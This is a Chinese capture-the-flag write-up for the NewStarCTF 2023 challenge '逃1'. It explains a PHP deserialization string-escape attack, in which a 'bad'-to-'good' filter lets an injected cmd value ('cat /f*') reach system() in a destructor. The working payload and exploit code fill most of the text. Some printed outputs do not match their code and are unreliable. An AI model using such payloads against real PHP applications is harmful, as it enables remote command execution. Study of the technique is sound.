[NewStarCTF 2023 公开赛道]逃1

代码审计.

这段代码分为三部分:1.war函数,2.GetFlag类,3.GetFlag类对象的定义,waf过滤以及反序列化 .

很经典的的一道题,键值对逃逸,改变cmd的value,去获取flag.

而war就是我们的突破点(str_replace("bad","good",$str);).

开始构造payload

?key=badbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbad";s:3:"cmd";s:7:"cat /f*";}

为什么这么构造呢?

让我们先来看一下未经过waf过滤后的value.

php 复制代码
<?php
 
class GetFlag {
    public $key;
    public $cmd = "whoami";
    public function __construct($key)
    {
        $this->key = $key;
    }
    public function __destruct()
    {
        system($this->cmd);
    }
}
 
$g = new GetFlag('badbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbad";s:3:"cmd";s:2:"ls";}');
echo serialize($g);
 
?>

value:

O:7:"GetFlag":2:{s:3:"key";O:7:"GetFlag":2:{s:3:"key";s:108:"badbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbad";s:3:"cmd";s:7:"cat /f*";}";s:3:"cmd";s:6:"whoami";}

我们只需要把上面的红色部分过滤掉就可以了,而过滤则通过waf来逃逸掉,waf可以把bad变成good,每一个bad就可以过滤一个char,绿色部分就是我们要过滤的数量为27,所以需要27个bad.

看一下过滤后的value.

exp:

php 复制代码
<?php
 
function waf($str){
    return str_replace("bad","good",$str);
}

class GetFlag {
    public $key;
    public $cmd = "whoami";
    public function __construct($key)
    {
        $this->key = $key;
    }
    public function __destruct()
    {
        system($this->cmd);
    }
}
 
$g = new GetFlag('badbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbad";s:3:"cmd";s:7:"cat /f*";}');
echo serialize(waf(serialize(new GetFlag($g))));
 
?>

value:

s:246:"O:7:"GetFlag":2:{s:3:"key";O:7:"GetFlag":2:{s:3:"key";s:108:"goodgoodgoodgoodgoodgoodgoodgoodgoodgoodgoodgoodgoodgoodgoodgoodgoodgoodgoodgoodgoodgoodgoodgoodgoodgoodgood";s:3:"cmd";s:7:"cat /f*";}";s:3:"cmd";s:6:"whoami";}s:3:"cmd";s:6:"whoami";}";

此时反序列化时,红色部分就会被过滤掉.

获得flag,游戏结束~

相关推荐
假客套2 小时前
2024 阿里云Debian12.8安装Redis【图文讲解】
数据库·redis·网络安全·debian
starstarzz2 小时前
计算机网络实验三:wireshark的使用
计算机网络·测试工具·网络安全·wireshark·计算机网络实验
网络安全Ash3 小时前
威胁驱动的网络安全方法论
网络·安全·web安全
vbsecvey3 小时前
[LitCTF 2023]Vim yyds
安全·web安全·网络安全
网络安全成叔4 小时前
超详细搭建PhpStorm+PhpStudy开发环境
android·网络安全·php·phpstorm·phpstudy
网络安全(华哥)4 小时前
网络安全-------防止被抓包
安全·web安全
计算机科研之友(Friend)5 小时前
【目标检测】数据集合集!
网络·图像处理·人工智能·目标检测·计算机视觉·网络安全
鲨鱼爱兜兜5 小时前
JWT实现token登录验证
java·开发语言·spring boot·后端·安全·spring·网络安全
黑客呀7 小时前
想成为网络安全技术爱好者(可能是黑客)的话,需要看什么书?
网络·安全·web安全
始终奔跑在路上7 小时前
黑客基础网恋避险2
linux·服务器·安全·网络安全